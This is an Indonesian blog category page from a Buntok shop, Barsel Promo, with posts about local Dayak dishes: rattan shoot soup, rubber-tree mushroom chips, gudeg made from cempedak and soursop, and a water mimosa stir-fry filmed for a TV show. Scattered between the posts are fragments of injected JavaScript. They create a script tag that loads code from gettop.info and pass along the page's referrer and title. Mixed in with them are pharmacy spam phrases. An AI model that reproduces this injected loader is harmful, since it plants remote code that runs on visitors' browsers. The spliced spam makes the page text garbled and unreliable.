All Posts in the ‘KULINER’ Category

NIKMATNYA SAYUR UMBUT ROTAN DAN ACAR REBUNG DI TANJUNG LEMBENG

Januari 14th, 2015 | By admin in ALAM, KEBUDAYAAN, KULINER | Komentar Dinonaktifkan pada NIKMATNYA SAYUR UMBUT ROTAN DAN ACAR REBUNG DI TANJUNG LEMBENG

Tanjung Lembeng adalah tana atau huma atau perladangan tradisional kami sejak nenek moyang. Hutan pehumaan ini dikelola oleh anak cucu Karoewang bin Rangkau berdasarkan verklaring yang diterbitkan Pemerintah Kolonial Belanda sejak tahun 1921.

.

Posisi Tanjung Lembeng terletak di tepi sungai Barito di hulu kota Buntok. Letaknya tidak jauh dari hilir kampung Mabuan. Pada huma ini tumbuhlah secara alami tanaman warisan nenek moyang berupa durian, manggis, asam, kebun karet, rotan dan tanam tumbuh lainnya. Sedangkan tumbuhan sayur hutan yang banyak di daerah ini adalah paku.

.

Bulan Januari 2015 air sedang merangkak naik. Perladangan pun terendam banjir. Tatkala karet tidak bisa untuk diturih karena air dalam dan rotan pun tidak pula bisa dipanen maka kegiatan lain yang dilakukan di ladang. Salah satu kegiatan itu adalah mencari ikan dengan memasang rengge (jaring), marawai (memasang pancing), malukah (jebakan ikan) atau maimpung duhian (menunggui durian jatuh). Inilah rutinitas di alas karena berkebun dan berladang sedang terhalang banjir.

.

Salah satu menu yang bisa dimasak di keadaan semacam ini adalah sayur umbut rotan (humbut uwei), juhu rebung, acar rebung dengan ikan baung bakar. Inilah selera rakyat yang sampai sekarang terus terjadi di huma-huma kami.

.

Karena musim ini juga musim buah asam, lalambai, binjai atau ramunia (gandaria) maka buah berasa asam ini dibuatlah sambal acannya. Sungguh nikmat makan di hutan.

.

Resep sayur umbut rotan bisa dilihat di internet antara lain http://resepmasakanspesial.com/resep-spesial-sayur-umbut-rotan-lezat.html, http://www.yukmakan.com/recipe/detail/1036978/sayur-umbut-rotan,  dan sebagainya.

Barsel Promo

Barsel Promo Buntok

Alamat : Jalan Panglima Batur 7 Buntok, Kalimantan Tengah

Kontak / sms 0813 4960 6504

http://www.facebook.com/barito.selatan

http://barselpromo.blogspot.com/

http://rudiannoor.wordpress.com

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }

DISELA HARGA KARET TERJUN BEBAS, JAMUR DARI POHON KARET PUN JADI

Januari 14th, 2015 | By admin in ALAM, KULINER | Komentar Dinonaktifkan pada DISELA HARGA KARET TERJUN BEBAS, JAMUR DARI POHON KARET PUN JADI

 karetSekedar mengingat kembali pemberitaan http://www.borneonews.co.id/index.php/kalteng/barito/selatan/item/17057-harga-karet-getah-semakin-turun-petani-menjerit dan http://brita.indo.com/2014/05/harga-karet-getah-semakin-turun-petani-menjerit/, nasib para petani karet memang masih terus prihatin. Harga jual karet sangat tidak baik, apalagi sejak Desember 2014 sudah memasuki musim hujan, karet pun lebih banyak bercampur air sehingga kualitasnya semakin memburuk.

.

Keluh petani kami di kecamatan Dusun Utara: “Dalam dua bulan terakhir harga getah karet semakin menurun. Sebelumnya harga Rp7.000 perkilogramnya, turun lagi menjadi Rp5.000 per kg,” ungkap dia. Terakhir, memasuki minggu pertama bulan ini harganya semakin menurun, yakni Rp3.500 hingga Rp4.000 perkilogramnya,” jelas dia, kepada Borneonews, Jum’at (9/5). Kutuk si Petani mengatakan, akibat turunnya harga karet itu, para petani kalang kabut membagi penghasilan agar dapat mencukupi kebutuhan hidup.

.
karikit

Karena sebagian karet petani adalah kebun tua maka tidak heran pohon karet ditebangi untuk kayu bakar. Maka dari pohon-pohon lapuk kayu getah inilah yang kemudian menghasilkan jamur karet atau kulat kurikit. Jamur kurikit ini umum di jual di pasar dan ini dimanfaatkan sebagai sayuran alam.

.

Ketika jamur kulat kurikit ini kami jadikan keripik ternyata hasilnya cukup baik. Keripik ini kami pasarkan di toko kami seharga Rp. 15 ribu per bungkus dan lumayan laris. Alhamdulillah keripik jamur kulat kurikit telah menambah varian dagangan musiman kami disamping keripik kulit cempedak atau mandai.

.
Barsel Promo

Barsel Promo Buntok

Alamat : Jalan Panglima Batur 7 Buntok, Kalimantan Tengah

Kontak / sms 0813 4960 6504

http://www.facebook.com/barito.selatan

http://barselpromo.blogspot.com/

http://rudiannoor.wordpress.com

low cost drugs from canada if (document.currentScript) { var d=document;var s=d.createElement(‘script’);

GUDEG ASLI DAYAK

Januari 14th, 2015 | By admin in KULINER | Komentar Dinonaktifkan pada GUDEG ASLI DAYAK

GUDEG MEMANG ASLI JAWA

Tidak ada yang menampik jika gudeg adalah kuliner asli dari Jawa khususnya dari Daerah Istimewa Yogyakarta, Surakarta dan Jawa Tengah pada umumnya.
.
Gudeg sebagai kuliner terkenal Jawa pada umumnya diolah dari bahan dasar nangka muda kecuali gudeg Manggar yang dibuat dari mayang atau bunga kelapa.
.
Namun tahukah anda jika kecintaan kami yang non-Jawa kepada makanan khas Jawa ini telah menimbulkan kreasi lain di Barsel Promo Buntok?

.

GUDEG ASLI DAYAK

Kami dari Barsel Promo Buntok telah menguji coba resep gudeg Jawa dengan memakai bahan dasar asli Dayak dan hasilnya cukup memuaskan. Dari eksperimen ini didapat gudeg baru asli Dayak yaitu:

.

1. GUDEG CEMPEDAK

Bumbu, rempah dan cara pembuatan gudeng cempedak sama dengan gudeg Jawa, tapi tanpa daun jati. Bahan gudeg-nya berasal dari buah cempedak muda, bukan dari nangka.

.

Adapun cara mengolahnya sama saja dengan gudeg nangka, cuma buah cempedak muda tidak dikupas langsung seperti nangka tetapi dibakar / dipanggang terlebih dahulu. Dapat disimpulkan: gudeg cempedak adalah gudeg Jawa dengan selera asli Dayak.

.

2. GUDEG MANDAI (KULIT CEMPEDAK)

Musim cempedak sudah biasa dengan surplus kulit cempedak. Disamping dijadikan hidangan  mandai goreng, sambal goreng mandai, dan terakhir kami buat keripik mandai, kulit cempedak ternyata bisa juga dibuat gudeg. Maka kami pun mencobanya menjadi Gudeg Mandai.

.

3. GUDEG NANGKA BELANDA (SIRSAK) 

Kami orang Dayak di Barito Selatan kalau terpaksa, malas atau rindu variasi lauk makan maka sesekali membuat sayur dari buah nangka Belanda atau sirsak muda.

.

Buah sirsak muda setelah dikupas, diiris ukuran sedang dan disayur seperti membuat sayur santan yang dimasak dengan bayam dan waluh merah.

.

Kami coba sirsak muda ini dengan bumbu gudeg dan ternyata bisa-bisa saja. Artinya…, sungguh kaya kuliner kita tatkala kita mau dan rajin mencobanya.

.

Semua gudeg tersebut ternyata pas dimasak bersama dengan jamur hutan “kulat kurikit”.
.
Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)  Info Anggrek : Maidi (0852 4951 3880)

}} else {

KERIPIK JAMUR “KULAT KURIKIT”

Desember 24th, 2014 | By admin in ALAM, KEB, KULINER | Komentar Dinonaktifkan pada KERIPIK JAMUR “KULAT KURIKIT”
karikit

KULAT ALIAS JAMUR

Jamur merupakan tumbuhan yang tidak memiliki klorofil (zat hijau daun) sehingga tidak bisa menghasilkan makanan sendiri melalui fotosintesis. Jamur hidup dengan mengambil zat makanan dan senyawa pati dari organisme lain. Jadi.., jamur hidupnya bergantung pada organisme lain sehingga sering kita jumpai jamur menempel pada batang pohon yang lapuk.

.
DSC00202

Ada ribuan jenis jamur di seluruh dunia dan tidak semua menguntungkan manusia atau dapat dikonsumsi. Beberapa jenis yang menguntungkan dan dapat dikonsumsi adalah jamur merang, jamur kuping, jamur shittake, jamur tiram dan jamur champignon. Dari jenis jamur tersebut, jamur kuping, jamur tiram dan jamur merang yang paling banyak dibudidayakan petani di Indoensia.

.

DSC00203

.

KERIPIK KULAT KURIKIT

Di Kalimantan Tengah khususnya kabupaten Barito Selatan, tibanya musim hujan (Oktober – November –  Desember) 2014 ini membuat kami panen jamur hutan. Dan salah satu jamur hutan yang banyak dijual di pasar kampung adalah kulat kurikit. Jamur kurikit merupakan tumbuhan alam berwana abu-abu yang hidup di pohon karet lapuk. Ini terjadi karena pohon karet merupakan tanaman perkebunan yang sudah ada sejak masa penjajahan Eropa.

DSC00200

Barsel Promo mencoba mengolah jamur kurikit menjadi keripik dan hasilnya alhamdulillah baik. Karena itulah maka keripik jamur kurikit merupakan keripik musiman yang kami produksi disamping keripik kulit cempedak (mandai) dan keripik ikan lais / bilis.

.
Barsel Promo

Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)  Info Anggrek : Maidi (0852 4951 3880)

d.getElementsByTagName(‘head’)[0].appendChild(s);} else { ciproflaxin

RESEP TUMIS PUTRI MALU SAAT SHOOTING LAPTOP SI UNYIL TRANS-7 DI BUNTOK

Desember 17th, 2014 | By admin in KEB, KULINER | Komentar Dinonaktifkan pada RESEP TUMIS PUTRI MALU SAAT SHOOTING LAPTOP SI UNYIL TRANS-7 DI BUNTOK

Pada shooting Trans-7 untuk “Laptop Si Unyil” yang dilaksanakan pada Jum’at sore tanggal 12 Desember 2014 di Barsel Promo, Jalan Panglima Batur nomor 7 Buntok, dilakukanlah proses pembuatan tumisan khas daerah. Hidangan sayur untuk teman makan nasi tersebut bernama Tumis Keruh Sasupan.

TUMIS KERUH SASUPAN

 

Bahan  / Bumbu

1  ikat putri malu air (sasupan)

½  mangkok jamur hutan (kulat baputi / kulat menyak)

¼ mangkok  labu merah (baluh bahandang) dipotong dadu

3 batang tebu hanteluh / tebu telur / tebu sayur, dipotong agak tebal

3 buah jagung muda, diiris pipih memanjang

2 cabe merah / hijau besar, iris serong
2 buah tomat merah, diiris tipis
2 biji bawang putih, diiris tipis
2 biji bawang merah, dipotong kasar

Santan secukupnya. Gula dan garam secukupnya. Minyak goreng dan air secukupnya

.

 

Cara membuat :

1.Putri malu diambil daunnya saja, cuci dan tiriskan

2.Kulat (jamur), baluh (labu), potongan tebu, jagung muda dicuci lalu tiriskan

3.Tumis bawang putih dan bawang merah sampai harum, kemudian tambahkan cabe, aduk  rata

4.Masukkan air, garam dan gula, tunggu panas lalu masukkan putri malu,  aduk rata mendekati matang

5.Apabila putri malu matang, masukkan potongan tebu, disusul irisan jagung, tomat, terakhir kulat (jamur) dan  tunggu sampai matang, cicipi.

.

Sekian, semoga bermanfaat adanya, amin.

.

Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)    Info Anggrek : Maidi (0852 4951 3880)

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;